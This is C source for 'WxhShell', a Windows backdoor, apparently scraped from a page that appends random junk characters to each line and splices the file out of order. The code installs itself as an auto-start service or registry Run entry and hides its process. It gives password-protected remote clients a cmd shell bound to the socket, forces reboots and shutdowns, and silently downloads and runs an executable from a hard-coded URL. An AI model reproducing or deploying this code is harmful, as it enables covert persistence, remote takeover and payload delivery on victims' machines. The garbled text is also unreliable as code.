    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8I{XU@%  
    else { ibdO*E  
    closesocket(wsh); '+*-s7o{  
    ExitThread(0); O!Wd5Y  
    } Q0{z).&\(e  
    break; tJ=di5&  
    } . -"E^f  
  // 获取shell (shK  
  case 's': { >?YNW   
    CmdShell(wsh); @-#T5?  
    closesocket(wsh); O4No0xeWo  
    ExitThread(0); |c2v%'J2G  
    break; BwJuYH7QJ$  
  } np WEop>  
  // 退出 vtMJ@!MN;  
  case 'x': { ]]cYLaq(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bO<0qM~  
    CloseIt(wsh); S^cH}-+  
    break; }wSy  
    } Hh kN^S,  
  // 离开 D6Y6^eS-  
  case 'q': { {BO|u{C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WjM>kWv  
    closesocket(wsh); \h3e-)  
    WSACleanup(); z]Acs  
    exit(1); VG*'"y *%w  
    break; =!ac7i\F  
        } f]d!hz!  
  } Jbp5'e _  
  } E=/[s]@5  
y~F<9;$=  
  // 提示信息 ^GYq#q9Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ERu>nSP  
} )Hf~d=GG  
  } MFg'YA2/  
agd)ag4"[u  
  return; F* #h9 Y  
} PM4>ThQ  
^p_u.P  
// shell模块句柄 135vZ:S  
int CmdShell(SOCKET sock) zH'2s-.bi  
{ +=8X8<Pu  
STARTUPINFO si; FBsn;,3<W  
ZeroMemory(&si,sizeof(si)); /qxJgoa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k|O,1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H2Eb\v`#  
PROCESS_INFORMATION ProcessInfo; cD{8|B*  
char cmdline[]="cmd"; 1. SkIu%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H/+{e,SW"  
  return 0; wq4nMY:#  
} '1]7zWbW  
;IC'Gq  
// 自身启动模式 z};ZxN  
int StartFromService(void) kb|eQtH  
{ bZ# X 9fT  
typedef struct 'Kis hXOn]  
{ aed+C:N  
  DWORD ExitStatus; lug} Uj  
  DWORD PebBaseAddress; 2q %K)h  
  DWORD AffinityMask; *=vlqpG  
  DWORD BasePriority; 3$"/>g/  
  ULONG UniqueProcessId; \8"QvC]  
  ULONG InheritedFromUniqueProcessId; ;aK.%-s-Z  
}   PROCESS_BASIC_INFORMATION; jX|=n.#q  
Q#WE|,a  
PROCNTQSIP NtQueryInformationProcess; Sl.o,W^  
Ko}2%4on  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :pd&dg!5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bp0bY9xLg_  
k!doIMj  
  HANDLE             hProcess; j??tmo  
  PROCESS_BASIC_INFORMATION pbi; cw+g z!!  
w &vhWq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m4gU*?  
  if(NULL == hInst ) return 0; {Bvm'lq`  
9Q@*0-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TmiWjQv`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M7VID6J.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +5*vABvCu  
y`b\;kd  
  if (!NtQueryInformationProcess) return 0; + v[O  
?`A9(#ySM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :^G%57NX  
  if(!hProcess) return 0; ,#aS/+;[)  
6+ 8mV8{-8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \/,g VT  
BPWnck=%  
  CloseHandle(hProcess); Z}[xQ5  
J v<$*TVS0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ofm5[q=  
if(hProcess==NULL) return 0; ]xR4->eix  
g9qC{x d  
HMODULE hMod; _j 5N=I{U  
char procName[255]; > tEK+Y|N}  
unsigned long cbNeeded; nx;$dxx_Ws  
4p x_ZD#J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E!@/NE\-  
E|,30Z+  
  CloseHandle(hProcess); jm> U6  
y#bK,}  
if(strstr(procName,"services")) return 1; // 以服务启动 jvO3_Zt9  
hrT%XJl  
  return 0; // 注册表启动 QSmJ`Bm  
} `Z8^+AMc  
0IFlEe[>#  
// 主模块 f N0bIE Y  
int StartWxhshell(LPSTR lpCmdLine) BVAr&cu  
{ RH=$h! 5  
  SOCKET wsl; qsvpW%?aE  
BOOL val=TRUE; b8cVnP  
  int port=0; ( H[  
  struct sockaddr_in door; Q)+Y}  
\[k% )_  
  if(wscfg.ws_autoins) Install(); l% |cB93  
C.HYS S  
port=atoi(lpCmdLine); k<,u0  
&GU@8  
if(port<=0) port=wscfg.ws_port; /p}{#DLB  
*]'qLL7d  
  WSADATA data; hpjUkGm5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b=_{/F*b?  
:p&IX"Hh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <c\]Ct  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SJOmeN}4)  
  door.sin_family = AF_INET; *pK lA&_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oh-Fp-v87  
  door.sin_port = htons(port); H%cp^G  
2R] XH 0   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YnD#p[Wo^  
closesocket(wsl); *) } :l  
return 1; bHJoEYY^  
} m8u=u4z("  
L^jaBl  
  if(listen(wsl,2) == INVALID_SOCKET) { 3XGB+$]C  
closesocket(wsl); blmmm(|~|  
return 1; 9H[/Tj-;  
} )"F5lOA6  
  Wxhshell(wsl); :4iU^6  
  WSACleanup(); Hy;901( %  
-HN%B?}. x  
return 0; '5V^}/  
+h|K[=l\  
} E\_W  
v}&#f&q!  
// 以NT服务方式启动 UE{,.s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bk0Y  
{ IyT ?-R  
DWORD   status = 0; $^K]&Mft  
  DWORD   specificError = 0xfffffff; ret0z|  
bz$Qk;m=H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Liij{ahm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /4^G34  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `LE^:a:8,  
  serviceStatus.dwWin32ExitCode     = 0; s{cKBau  
  serviceStatus.dwServiceSpecificExitCode = 0; ;*.(.  
  serviceStatus.dwCheckPoint       = 0; w'|&5cS  
  serviceStatus.dwWaitHint       = 0; +!Q!m 3/I  
E;xMPK$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TMNfJz   
  if (hServiceStatusHandle==0) return; zfirb  
n'ehB%"  
status = GetLastError();  XL&hs+Y  
  if (status!=NO_ERROR) 5pB^Y MP  
{ Y=3X9%v9g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ckAsGF_B~!  
    serviceStatus.dwCheckPoint       = 0; QP+c?ct}hF  
    serviceStatus.dwWaitHint       = 0; 'xsbm^n6a&  
    serviceStatus.dwWin32ExitCode     = status; :cEd[Jm9  
    serviceStatus.dwServiceSpecificExitCode = specificError; G{/;AK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pK<%<dIc  
    return; 6GY32\Ac  
  } E3LBPXK  
r7RU"H:j8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b#Jo Xa9  
  serviceStatus.dwCheckPoint       = 0; Ew>~a8! Fq  
  serviceStatus.dwWaitHint       = 0; HRj7n<>L=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WBy[m ?d  
} <8g=BWA  
!8we8)7  
// 处理NT服务事件,比如:启动、停止 L#`7FaM?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >kt~vJI  
{ {ip=iiW2  
switch(fdwControl) >6XDX=JVI  
{ c%jsu"  
case SERVICE_CONTROL_STOP: bd} r#^'K  
  serviceStatus.dwWin32ExitCode = 0; y-%nJD$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k?o^5@b/  
  serviceStatus.dwCheckPoint   = 0; &|s+KP|d  
  serviceStatus.dwWaitHint     = 0; &K+  
  { ^@M [t<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O<4Q$|=&?  
  } 3Ca \`m)l  
  return; n}=rj7  
case SERVICE_CONTROL_PAUSE: 4 U}zJP(L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k\nH&nb  
  break; fE'-.nA+  
case SERVICE_CONTROL_CONTINUE: E!dz/.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /SbSID_a  
  break; {ms,q_Zr  
case SERVICE_CONTROL_INTERROGATE: @k_Jl>X  
  break;  V+peO  
}; D&4u63^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D~5yj&&T;  
} s Ke,  
? 7/W>  
// 标准应用程序主函数  \C!%IR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G(:s-x ig6  
{ -l\~p4U  
g[m3IJzq  
// 获取操作系统版本 o<Xc,mP  
OsIsNt=GetOsVer(); z Z@L4ZT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y||yzJdC  
,2RC|h^O,  
  // 从命令行安装 1P+Mv^%I  
  if(strpbrk(lpCmdLine,"iI")) Install(); UaH26fWs  
UCe,2v%  
  // 下载执行文件 c"sj)-_  
if(wscfg.ws_downexe) { P#w}3^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r hiS  
  WinExec(wscfg.ws_filenam,SW_HIDE); m$7x#8gF  
} +8Of-ZUx  
m5X3{[a :  
if(!OsIsNt) { l#X=]xQf  
// 如果时win9x,隐藏进程并且设置为注册表启动 L@>^_p$  
HideProc(); \d `dV0X  
StartWxhshell(lpCmdLine); #L_@s d  
} NS7@8 #C  
else AF6d#Klog  
  if(StartFromService()) dNOX&$/=  
  // 以服务方式启动 F5<"ktnI  
  StartServiceCtrlDispatcher(DispatchTable); G /NT e  
else ;[FW!  
  // 普通方式启动  KYnW7|*  
  StartWxhshell(lpCmdLine); Sg/:n,68  
>{j,+$%kp  
return 0; =$^Wkau  
} _7rqXkp%  
&=v/VRan[  
8T8pAs0 p  
A)hq0FPp  
=========================================== 8FxcI!A@  
z0T`5N G@  
IUluJ.sXIf  
\Pw8wayr%  
"V*kOb&'*Z  
8|w5QvCU?3  
" jz{(q;  
xP8iz?6"V  
#include <stdio.h> (:_%kmu  
#include <string.h> M3DxapG  
#include <windows.h> ?l6>6a7  
#include <winsock2.h> W2}%zux  
#include <winsvc.h> 08zi/g2 3  
#include <urlmon.h> @/CRIei  
C_;HaQiu  
#pragma comment (lib, "Ws2_32.lib") <{$ ev&bQ  
#pragma comment (lib, "urlmon.lib") 2>!_B\%)H  
KU1+<OCh  
#define MAX_USER   100 // 最大客户端连接数 b}ySZlmy  
#define BUF_SOCK   200 // sock buffer cxtLy&C  
#define KEY_BUFF   255 // 输入 buffer h g%@W  
T)b3N| ONB  
#define REBOOT     0   // 重启 iifc;62  
#define SHUTDOWN   1   // 关机 a"`g"ZRx  
Z_iAn TT  
#define DEF_PORT   5000 // 监听端口 Iq4Kgc  
4 ?9soc  
#define REG_LEN     16   // 注册表键长度 (Wm/$P;  
#define SVC_LEN     80   // NT服务名长度 d%}crM-KTL  
D}zOuB,S  
// 从dll定义API gGtep*k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YH /S2D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Z#_X@NFc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pieU|?fQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p<Zs*  @  
el <<D  
// wxhshell配置信息 fOqS|1rC  
struct WSCFG { L LYHr  
  int ws_port;         // 监听端口 Ov $N"  
  char ws_passstr[REG_LEN]; // 口令 B6tcKh9d,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1$='`@8I  
  char ws_regname[REG_LEN]; // 注册表键名 t 3(%UB  
  char ws_svcname[REG_LEN]; // 服务名 o~i]W.SI(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8gVxiFjo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5?V?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lH#@^i|G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5;3c<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "/4s8.dw+u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #,f}lV,&  
* kX3sG$8  
}; |@o]X?^  
6Nfof  
// default Wxhshell configuration rK(x4]I l"  
struct WSCFG wscfg={DEF_PORT, w5dI k]T  
    "xuhuanlingzhe", d8Q_6(Ar|  
    1, XBfiaj  
    "Wxhshell", &+E'1h10  
    "Wxhshell", K#9(|2 J%  
            "WxhShell Service", xG*lV|<7>  
    "Wrsky Windows CmdShell Service", ~pd1 )  
    "Please Input Your Password: ", bR>o!(M'Z\  
  1, Vu|Br  
  "http://www.wrsky.com/wxhshell.exe", 9#Aipu\  
  "Wxhshell.exe" Sb:zN'U  
    }; :$SRG^7md  
; McIxvj  
// 消息定义模块 r 85Xa'hh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,? 0-=o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BNL8hK`D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L}e"nzTE6I  
char *msg_ws_ext="\n\rExit."; <B ]i80.  
char *msg_ws_end="\n\rQuit."; Dyouk+08x  
char *msg_ws_boot="\n\rReboot..."; 1jUhG2y  
char *msg_ws_poff="\n\rShutdown..."; j=xtnIq  
char *msg_ws_down="\n\rSave to "; @\%)'WU  
3PvZ_!G  
char *msg_ws_err="\n\rErr!"; P`Hd*xh".j  
char *msg_ws_ok="\n\rOK!"; _V_8p)%  
t6<sNz F&  
char ExeFile[MAX_PATH]; /XWPN(JC?  
int nUser = 0; [#hl}q(P#  
HANDLE handles[MAX_USER]; 4pfix1F g  
int OsIsNt; `mq4WXO\  
 Vq .!(x  
SERVICE_STATUS       serviceStatus; Kc JP^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]v^`+s}3  
bMqu5G_q  
// 函数声明 v GR \GFm  
int Install(void); 6mI_Q2  
int Uninstall(void); wZ]BY;  
int DownloadFile(char *sURL, SOCKET wsh); .gM>FUH3L  
int Boot(int flag); 5O;a/q8"  
void HideProc(void); uh C=  
int GetOsVer(void); Ww'TCWk@  
int Wxhshell(SOCKET wsl); r?5@Etpg  
void TalkWithClient(void *cs); u/!mN2{Rd  
int CmdShell(SOCKET sock); !\&7oAs=I  
int StartFromService(void); )MD*)O  
int StartWxhshell(LPSTR lpCmdLine); }Ll3AR7\  
<iXS0k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b2}QoJ@`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `L"p)5H  
ga{25q}"  
// 数据结构和表定义 :]u}x Dv3  
SERVICE_TABLE_ENTRY DispatchTable[] = Ry8WNVO}R  
{ d}wa[WRv   
{wscfg.ws_svcname, NTServiceMain}, ~q8V<@?  
{NULL, NULL} Zv1Bju*y  
}; 7'{Yz  
r'9=k x  
// 自我安装 Y6;0khp  
int Install(void) | z(Ws  
{ |oBdryi  
  char svExeFile[MAX_PATH]; a! 0?L0_W&  
  HKEY key; 7/D9n9F  
  strcpy(svExeFile,ExeFile); _M"$5 T  
2#n$x*CY  
// 如果是win9x系统,修改注册表设为自启动 ZHiICh|et%  
if(!OsIsNt) { uhw5O9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eis%)oE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `jUS{ 3^  
  RegCloseKey(key); B(en5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R@7GCj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JR a*;_  
  RegCloseKey(key); WB=<W#?w7%  
  return 0; ?G>5 D`V  
    } nIT^'  
  } Kc9mI>uH  
} ~G{$P'[  
else { WnJLX ^;  
I?>-  
// 如果是NT以上系统,安装为系统服务 #)PGQ)(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MOqA$b  
if (schSCManager!=0) VH7iH|eW  
{ -X&!dV:= 4  
  SC_HANDLE schService = CreateService J++sTQ(!?  
  ( "f&i 251  
  schSCManager, a_pCjG89  
  wscfg.ws_svcname, llZ"uTK\M  
  wscfg.ws_svcdisp, /ie3H,2  
  SERVICE_ALL_ACCESS, LKqog%,c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'a-5 U TT  
  SERVICE_AUTO_START, *nsnX/e(-  
  SERVICE_ERROR_NORMAL, pZ_FVID  
  svExeFile, LKf5r,C  
  NULL, !aW*dD61  
  NULL, %8} ksl07  
  NULL, Z z; <P  
  NULL, {Jw<<<G  
  NULL W &0@&U  
  ); XJxs4a1[t  
  if (schService!=0) zFdz]z3  
  { :WfB!4%!  
  CloseServiceHandle(schService); %B {D  
  CloseServiceHandle(schSCManager); L yA(.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e\ l,gQP  
  strcat(svExeFile,wscfg.ws_svcname); 7ck0S+N'b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )(ZPSg$/F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zy/tQGTr@  
  RegCloseKey(key); #`vGg9  
  return 0; ILr6W@o5A  
    } ^pQ;0[9Y0  
  } vn%U;}  
  CloseServiceHandle(schSCManager); %\{?(baOA  
} Eps\iykB  
} tFST.yT>zg  
bJ,=yB+0  
return 1; [>J~M!yu:r  
} {ZsWZJ!  
8F\Msx  
// 自我卸载 ?;KJ (@Va  
int Uninstall(void) 3Ibt'$dK  
{ _[OEE<(  
  HKEY key; ZvnZ}t >?  
1M~:]}*<  
if(!OsIsNt) { .{]c&Ef+f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 {4D|o#O  
  RegDeleteValue(key,wscfg.ws_regname); $L#Z?76v  
  RegCloseKey(key); :AE;x&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <j8&u/Za~'  
  RegDeleteValue(key,wscfg.ws_regname); fkv{\zN  
  RegCloseKey(key); N>6yacTB  
  return 0; u.L8tR:(  
  } ! ^*;c#  
} u&d v[  
} Yq hz(&*)  
else { ! ?U^+)^$  
Mevyj;1t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pl5NHVr  
if (schSCManager!=0) Uo[5V|>X6  
{ '3_B1iAv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); = a.n`3`Q  
  if (schService!=0) v!RB(T3  
  { zju,#%  
  if(DeleteService(schService)!=0) { "MS`d+rf\  
  CloseServiceHandle(schService); a9EI7pnq  
  CloseServiceHandle(schSCManager); *~<]|H5~  
  return 0; 7@y!R   
  } FiU;>t<)  
  CloseServiceHandle(schService); ~ %YTJS  
  } iJKm27 ">  
  CloseServiceHandle(schSCManager); io?{ew  
} s8_NN  
} gl7vM  
\,bFm,kC?  
return 1; ,Qi|g'a  
} PN^1  
I'%H:53^0  
// 从指定url下载文件 rPGE-d3  
int DownloadFile(char *sURL, SOCKET wsh) <:;:*s3]  
{ twHM~cTS  
  HRESULT hr; }`/n2  
char seps[]= "/"; .6Lhy3x  
char *token; 59NWyi4i  
char *file; wZ3 vF)2s  
char myURL[MAX_PATH]; F']%q 0  
char myFILE[MAX_PATH]; JX@6Sg<  
ND9>`I 5  
strcpy(myURL,sURL); rIWN!@.J  
  token=strtok(myURL,seps); h`;F<PFW  
  while(token!=NULL) yJ`1},^  
  { |9"^s x  
    file=token; =|V]8 tN  
  token=strtok(NULL,seps); f!8m  
  } N9h@1'>  
|&RX>UW$W  
GetCurrentDirectory(MAX_PATH,myFILE); _DvPF~  
strcat(myFILE, "\\"); G8DIig<  
strcat(myFILE, file); ,bwopRcA  
  send(wsh,myFILE,strlen(myFILE),0); AFB 7s z  
send(wsh,"...",3,0); ?Nze P?g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .L{+O6*c  
  if(hr==S_OK) b%jG?HSu  
return 0; (kNTXhAr4  
else M^Ay,jK!  
return 1; 2l/5i]Tq  
+?txGHQq  
} C\ >Mt  
3k[<4-  
// 系统电源模块 VJtTbt;>  
int Boot(int flag) <9.7gwzE  
{ +:Q/<^Z  
  HANDLE hToken; CU^3L|f2N  
  TOKEN_PRIVILEGES tkp; MG5Sn*(C  
rbZ6V :  
  if(OsIsNt) { Ihq@|s8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #~-&&S4a.J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CJtjn  
    tkp.PrivilegeCount = 1; `1}?{ud  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FITaL@{c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )Gp\_(9fc  
if(flag==REBOOT) { lLFBop  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {UC<I.5X  
  return 0; RT A=|q  
} z,x"vK(  
else { i|{nj\6w^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0uJzff!|  
  return 0; DCzPm/#b  
} lJY=*KB(6  
  } )MW}!U9G  
  else { }' 0Xz9/ l  
if(flag==REBOOT) { }vA nP]!A5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [qMO7enu#  
  return 0; =y]b|"s~2  
} R9-JjG2v  
else { eh/OCzWH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]S aH/$  
  return 0; k3.p@8@:  
} T9<nD"=:  
} Zy3&Zt  
4lf36K ,  
return 1; m7eIhmP  
} 0THAI  
~#km0<r?  
// win9x进程隐藏模块 :.<TWBoV  
void HideProc(void) *vE C,)  
{ TY[d%rMm  
0HuRFl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n:."ZBtY*  
  if ( hKernel != NULL ) zXU{p\;)\  
  { 3U.qN0]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "t&k{\$\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 207oE O]  
    FreeLibrary(hKernel); qFChZ+3>  
  } % j{pz  
f>/ 1KV  
return; Jl4XE%0  
} v!hs~DnUZ  
mqT0^TNPcl  
// 获取操作系统版本 xt0j9{p  
int GetOsVer(void) T`{MQ:s  
{ et}Y4,:  
  OSVERSIONINFO winfo; \'=}kk`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tv)y }  
  GetVersionEx(&winfo); _W@Fk)E6N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =/!S  
  return 1; d;:&3r|X  
  else lBZ*G  
  return 0; nGgc~E$j  
} ?,DbV|3 _\  
Hf!4(\yN  
// 客户端句柄模块 ER0#$yFpM  
int Wxhshell(SOCKET wsl) J15T!_AW<  
{ Rj;e82%%N  
  SOCKET wsh; "UnSZ[;t  
  struct sockaddr_in client; .ehvhMuG|  
  DWORD myID; Vy~$%H94  
fQ4$@  
  while(nUser<MAX_USER) q=i<vcw  
{ LK/V]YG  
  int nSize=sizeof(client); n$Fm~iPo,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q$'&RG  
  if(wsh==INVALID_SOCKET) return 1; oxXW`C<  
0BE^qe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ByvqwJY  
if(handles[nUser]==0) [F{a-i-  
  closesocket(wsh); z9O/MHT[w  
else |Z|xM  
  nUser++; 8%f! X51  
  } O t<%gj;^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0)a?W,+O  
!Y(qpC:$  
  return 0; ;]x5;b9`  
} 6YGr"Kj &  
7]zZh a4X  
// 关闭 socket 5mVu]T`  
void CloseIt(SOCKET wsh) !sQ8,l0h  
{ bx e97]  
closesocket(wsh); K -1~K  
nUser--; \ySc uT  
ExitThread(0);   NX_S  
} d'fpaLV  
(k.7q~:  
// 客户端请求句柄 e-=PT 1T`  
void TalkWithClient(void *cs) 4!%LD(jB`B  
{ v 8a  
_'p;V[(+M  
  SOCKET wsh=(SOCKET)cs; !$# 4D&T  
  char pwd[SVC_LEN]; 08jQq#  
  char cmd[KEY_BUFF]; G_4P)G3H  
char chr[1]; l #z`4<  
int i,j; =@XR$Uud6  
5D*V%v  
  while (nUser < MAX_USER) { EQO7:vb  
*3($s_r>  
if(wscfg.ws_passstr) { 1M+!cX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (1]@ fCd +  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Qozud\?  
  //ZeroMemory(pwd,KEY_BUFF); {_}"USS  
      i=0; J"|$V#  
  while(i<SVC_LEN) { ur7a%NH  
*OcptmY<  
  // 设置超时 /2cOZ1G;  
  fd_set FdRead; ) <~7<.0  
  struct timeval TimeOut; W78-'c  
  FD_ZERO(&FdRead); !,uw./8@Ku  
  FD_SET(wsh,&FdRead); `Db}q^mQ  
  TimeOut.tv_sec=8; M4\Io]}-M  
  TimeOut.tv_usec=0; dL)5~V8s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qrh7\`,.m/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +t{FF!mL  
OAOmd 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0k<%l6Bq  
  pwd=chr[0]; 6I![5j  
  if(chr[0]==0xd || chr[0]==0xa) { S-|$sV^cG  
  pwd=0; Ooy96M~_G  
  break; 6mLE-( Z7  
  } CZ}tQx5ga  
  i++; K\Q 1/})  
    } j,jUg}b  
QNEaj\   
  // 如果是非法用户,关闭 socket a9-;8`fCR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DR8dJ#  
} ^KR(p!%  
p?nVPTh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u\?u}t v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 75i)$}_1B  
bNgcZ V.  
while(1) { 9z}kkYk  
 ond/e&1  
  ZeroMemory(cmd,KEY_BUFF); `<G+ N  
2eYkWHi  
      // 自动支持客户端 telnet标准   ~VF,qspO  
  j=0; Mq?21gW  
  while(j<KEY_BUFF) { 7?s>u937  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z[OEg HI  
  cmd[j]=chr[0]; e(A&VIp  
  if(chr[0]==0xa || chr[0]==0xd) { Mla,"~4D5  
  cmd[j]=0; cG6+'=]3<  
  break; \v Go5`  
  } 4+:u2&I  
  j++; v)EJ|2`  
    } 5GP' cE  
E;0"1 P|S  
  // 下载文件 rt z(Jt{<  
  if(strstr(cmd,"http://")) { F$C:4c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C%"@|01cO  
  if(DownloadFile(cmd,wsh)) uRg^:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nr;/:[F  
  else m e" <+6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {S!~pn&^Y  
  } 2e &Zs%u  
  else { [ ]NAV  
QH:i)v*  
    switch(cmd[0]) { ~Tolz H!  
  ;$]R#1i44  
  // 帮助 lM]7@A  
  case '?': { a*`J]{3G  
